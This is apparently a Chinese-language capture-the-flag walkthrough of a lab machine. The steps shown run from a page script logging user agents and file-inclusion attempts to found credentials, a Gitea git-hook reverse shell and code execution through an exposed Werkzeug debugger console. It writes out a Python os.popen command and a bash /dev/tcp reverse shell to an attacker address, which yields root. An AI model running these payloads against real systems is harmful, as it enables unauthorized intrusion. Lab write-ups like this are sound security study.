漏洞发现

踩点

Welcome!!!

发现一个脚本：

document.addEventListener("DOMContentLoaded", function() {
    fetch('/save-user-agent.php', {
        method: 'POST',
        body: JSON.stringify({ user_agent: navigator.userAgent }),
        headers: {
            'Content-Type': 'application/json'
        }
    })
    .then(response => {
        if (response.ok) {
            console.log('User-Agent saved successfully.');
        } else {
            console.error('Error saving User-Agent.');
        }
    })
    .catch(error => {
        console.error('Network error:', error);
    });
});

需要我们发送POST，抓包看一下：

GET /save-user-agent.php HTTP/1.1
Host: 192.168.0.145
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36

Accept-Language: zh-CN,zh;q=0.9

{
    "user_agent":"1"
}

是有正常回应的：

尝试使用伪协议进行读取，但是失败了。

尝试修改user-agent传一个试试：

找到禁用函数：

尝试使用include()进行绕过：

说明是有用的，尝试php_filter链的利用，但是没能弹回去。查看是否存在其他配置文件：

登录

获得账号密码：

logan
Super_logan1234

尝试登录其3000端口，看看可以登录。顺便测一下ssh，发现可以正常登录到端口服务中：

image-20240628220324749

看看有没有地方可以反弹一个shell回来：

image-20240628220812389

发现在8000端口托管了一个服务。

方法一：git任务反弹shell

image-20240628221315598

随便更新一下，进行触发：

image-20240628221415937

image-20240628221427819

方法二：gitea版本漏洞

可以构造报错或者直接查找相关版本：

Debugger+SSTI

然后打开debugger执行命令：

http://192.168.0.145:8000/console

没有过滤啥系统命令，尝试利用一下：

__import__('os').popen('whoami').read();

image-20240628222859864

可以正常执行系统命令，尝试反弹shell：

__import__('os').popen('bash -c "exec bash -i &>/dev/tcp/192.168.0.143/2345 <&1"').read();

image-20240628223112786

得到root！！！！

其他收获

发现了一个新工具lfienum，可以很方便的测试lfi包含了哪些文件，而不必手动测试。
